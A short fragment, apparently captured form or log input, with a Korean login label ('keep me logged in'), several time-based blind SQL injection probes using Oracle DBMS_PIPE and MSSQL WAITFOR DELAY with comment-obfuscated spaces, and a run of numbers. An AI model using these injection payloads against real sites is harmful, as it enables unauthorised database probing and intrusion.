로그인유지
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('k',0)='k
;waitfor/**/delay'0:0:2'/**/--/**/
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g
;waitfor/**/delay'0:0:0'/**/--/**/
'and(select+1)>0waitfor/**/delay'0:0:2
71
72
73
74
75
